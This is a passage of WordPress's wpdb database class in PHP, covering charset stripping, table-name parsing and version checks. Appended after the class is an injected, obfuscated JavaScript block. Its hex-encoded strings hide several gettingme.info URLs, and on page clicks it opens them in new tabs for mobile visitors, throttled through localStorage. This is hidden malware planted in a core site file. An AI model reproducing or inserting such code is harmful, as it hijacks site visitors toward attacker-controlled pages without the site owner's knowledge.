$charset ) USING {$this->charset} )", $value['value'] ); } unset( $data[ $col ]['db'] ); } } $sql = array(); foreach ( $queries as $column => $query ) { if ( ! $query ) { continue; } $sql[] = $query . " AS x_$column"; } $this->check_current_query = false; $row = $this->get_row( "SELECT " . implode( ', ', $sql ), ARRAY_A ); if ( ! $row ) { return new WP_Error( 'wpdb_strip_invalid_text_failure' ); } foreach ( array_keys( $data ) as $column ) { if ( isset( $row["x_$column"] ) ) { $data[ $column ]['value'] = $row["x_$column"]; } } } return $data; } /** * Strips any invalid characters from the query. * * @since 4.2.0 * @access protected * * @param string $query Query to convert. * @return string|WP_Error The converted query, or a WP_Error object if the conversion fails. */ protected function strip_invalid_text_from_query( $query ) { // We don't need to check the collation for queries that don't read data. $trimmed_query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $trimmed_query ) ) { return $query; } $table = $this->get_table_from_query( $query ); if ( $table ) { $charset = $this->get_table_charset( $table ); if ( is_wp_error( $charset ) ) { return $charset; } // We can't reliably strip text from tables containing binary/blob columns if ( 'binary' === $charset ) { return $query; } } else { $charset = $this->charset; } $data = array( 'value' => $query, 'charset' => $charset, 'ascii' => false, 'length' => false, ); $data = $this->strip_invalid_text( array( $data ) ); if ( is_wp_error( $data ) ) { return $data; } return $data[0]['value']; } /** * Strips any invalid characters from the string for a given table and column. * * @since 4.2.0 * @access public * * @param string $table Table name. * @param string $column Column name. * @param string $value The text to check. * @return string|WP_Error The converted string, or a WP_Error object if the conversion fails. */ public function strip_invalid_text_for_column( $table, $column, $value ) { if ( ! is_string( $value ) ) { return $value; } $charset = $this->get_col_charset( $table, $column ); if ( ! $charset ) { // Not a string column. return $value; } elseif ( is_wp_error( $charset ) ) { // Bail on real errors. return $charset; } $data = array( $column => array( 'value' => $value, 'charset' => $charset, 'length' => $this->get_col_length( $table, $column ), ) ); $data = $this->strip_invalid_text( $data ); if ( is_wp_error( $data ) ) { return $data; } return $data[ $column ]['value']; } /** * Find the first table name referenced in a query. * * @since 4.2.0 * @access protected * * @param string $query The query to search. * @return string|false $table The table name found, or false if a table couldn't be found. */ protected function get_table_from_query( $query ) { // Remove characters that can legally trail the table name. $query = rtrim( $query, ';/-#' ); // Allow (select...) union [...] style queries. Use the first query's table name. $query = ltrim( $query, "\r\n\t (" ); // Strip everything between parentheses except nested selects. $query = preg_replace( '/\((?!\s*select)[^(]*?\)/is', '()', $query ); // Quickly match most common queries. if ( preg_match( '/^\s*(?:' . 'SELECT.*?\s+FROM' . '|INSERT(?:\s+LOW_PRIORITY|\s+DELAYED|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?' . '|REPLACE(?:\s+LOW_PRIORITY|\s+DELAYED)?(?:\s+INTO)?' . '|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?' . '|DELETE(?:\s+LOW_PRIORITY|\s+QUICK|\s+IGNORE)*(?:\s+FROM)?' . ')\s+((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } // SHOW TABLE STATUS and SHOW TABLES if ( preg_match( '/^\s*(?:' . 'SHOW\s+TABLE\s+STATUS.+(?:LIKE\s+|WHERE\s+Name\s*=\s*)' . '|SHOW\s+(?:FULL\s+)?TABLES.+(?:LIKE\s+|WHERE\s+Name\s*=\s*)' . ')\W((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\W/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } // Big pattern for the rest of the table-related queries. if ( preg_match( '/^\s*(?:' . '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.*?\s+FROM' . '|DESCRIBE|DESC|EXPLAIN|HANDLER' . '|(?:LOCK|UNLOCK)\s+TABLE(?:S)?' . '|(?:RENAME|OPTIMIZE|BACKUP|RESTORE|CHECK|CHECKSUM|ANALYZE|REPAIR).*\s+TABLE' . '|TRUNCATE(?:\s+TABLE)?' . '|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?' . '|ALTER(?:\s+IGNORE)?\s+TABLE' . '|DROP\s+TABLE(?:\s+IF\s+EXISTS)?' . '|CREATE(?:\s+\w+)?\s+INDEX.*\s+ON' . '|DROP\s+INDEX.*\s+ON' . '|LOAD\s+DATA.*INFILE.*INTO\s+TABLE' . '|(?:GRANT|REVOKE).*ON\s+TABLE' . '|SHOW\s+(?:.*FROM|.*TABLE)' . ')\s+\(*\s*((?:[0-9a-zA-Z$_.`-]|[\xC2-\xDF][\x80-\xBF])+)\s*\)*/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } return false; } /** * Load the column metadata from the last query. * * @since 3.5.0 * * @access protected */ protected function load_col_info() { if ( $this->col_info ) return; if ( $this->use_mysqli ) { $num_fields = @mysqli_num_fields( $this->result ); for ( $i = 0; $i < $num_fields; $i++ ) { $this->col_info[ $i ] = @mysqli_fetch_field( $this->result ); } } else { $num_fields = @mysql_num_fields( $this->result ); for ( $i = 0; $i < $num_fields; $i++ ) { $this->col_info[ $i ] = @mysql_fetch_field( $this->result, $i ); } } } /** * Retrieve column metadata from the last query. * * @since 0.71 * * @param string $info_type Optional. Type one of name, table, def, max_length, not_null, primary_key, multiple_key, unique_key, numeric, blob, type, unsigned, zerofill * @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. 3: if the col is numeric. 4: col's type * @return mixed Column Results */ public function get_col_info( $info_type = 'name', $col_offset = -1 ) { $this->load_col_info(); if ( $this->col_info ) { if ( $col_offset == -1 ) { $i = 0; $new_array = array(); foreach( (array) $this->col_info as $col ) { $new_array[$i] = $col->{$info_type}; $i++; } return $new_array; } else { return $this->col_info[$col_offset]->{$info_type}; } } } /** * Starts the timer, for debugging purposes. * * @since 1.5.0 * * @return true */ public function timer_start() { $this->time_start = microtime( true ); return true; } /** * Stops the debugging timer. * * @since 1.5.0 * * @return float Total time spent on the query, in seconds */ public function timer_stop() { return ( microtime( true ) - $this->time_start ); } /** * Wraps errors in a nice header and footer and dies. * * Will not die if wpdb::$show_errors is false. * * @since 1.5.0 * * @param string $message The Error message * @param string $error_code Optional. A Computer readable string to identify the error. * @return false|void */ public function bail( $message, $error_code = '500' ) { if ( !$this->show_errors ) { if ( class_exists( 'WP_Error' ) ) $this->error = new WP_Error($error_code, $message); else $this->error = $message; return false; } wp_die($message); } /** * Whether MySQL database is at least the required minimum version. * * @since 2.5.0 * * @global string $wp_version * @global string $required_mysql_version * * @return WP_Error|void */ public function check_database_version() { global $wp_version, $required_mysql_version; // Make sure the server has the required MySQL version if ( version_compare($this->db_version(), $required_mysql_version, '<') ) return new WP_Error('database_version', sprintf( __( '<strong>ERROR</strong>: WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version )); } /** * Whether the database supports collation. * * Called when WordPress is generating the table scheme. * * @since 2.5.0 * @deprecated 3.5.0 * @deprecated Use wpdb::has_cap( 'collation' ) * * @return bool True if collation is supported, false if version does not */ public function supports_collation() { _deprecated_function( __FUNCTION__, '3.5', 'wpdb::has_cap( \'collation\' )' ); return $this->has_cap( 'collation' ); } /** * The database character collate. * * @since 3.5.0 * * @return string The database character collate. */ public function get_charset_collate() { $charset_collate = ''; if ( ! empty( $this->charset ) ) $charset_collate = "DEFAULT CHARACTER SET $this->charset"; if ( ! empty( $this->collate ) ) $charset_collate .= " COLLATE $this->collate"; return $charset_collate; } /** * Determine if a database supports a particular feature. * * @since 2.7.0 * @since 4.1.0 Support was added for the 'utf8mb4' feature. * * @see wpdb::db_version() * * @param string $db_cap The feature to check for. Accepts 'collation', * 'group_concat', 'subqueries', 'set_charset', * or 'utf8mb4'. * @return int|false Whether the database feature is supported, false otherwise. */ public function has_cap( $db_cap ) { $version = $this->db_version(); switch ( strtolower( $db_cap ) ) { case 'collation' : // @since 2.5.0 case 'group_concat' : // @since 2.7.0 case 'subqueries' : // @since 2.7.0 return version_compare( $version, '4.1', '>=' ); case 'set_charset' : return version_compare( $version, '5.0.7', '>=' ); case 'utf8mb4' : // @since 4.1.0 if ( version_compare( $version, '5.5.3', '<' ) ) { return false; } if ( $this->use_mysqli ) { $client_version = mysqli_get_client_info(); } else { $client_version = mysql_get_client_info(); } /* * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server. * mysqlnd has supported utf8mb4 since 5.0.9. */ if ( false !== strpos( $client_version, 'mysqlnd' ) ) { $client_version = preg_replace( '/^\D+([\d.]+).*/', '$1', $client_version ); return version_compare( $client_version, '5.0.9', '>=' ); } else { return version_compare( $client_version, '5.5.3', '>=' ); } } return false; } /** * Retrieve the name of the function that called wpdb. * * Searches up the list of functions until it reaches * the one that would most logically had called this method. * * @since 2.5.0 * * @return string|array The name of the calling function */ public function get_caller() { return wp_debug_backtrace_summary( __CLASS__ ); } /** * The database version number. * * @since 2.7.0 * * @return null|string Null on failure, version number on success. */ public function db_version() { if ( $this->use_mysqli ) { $server_info = mysqli_get_server_info( $this->dbh ); } else { $server_info = mysql_get_server_info( $this->dbh ); } return preg_replace( '/[^0-9.].*/', '', $server_info ); } } ob_start(); ?> <script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>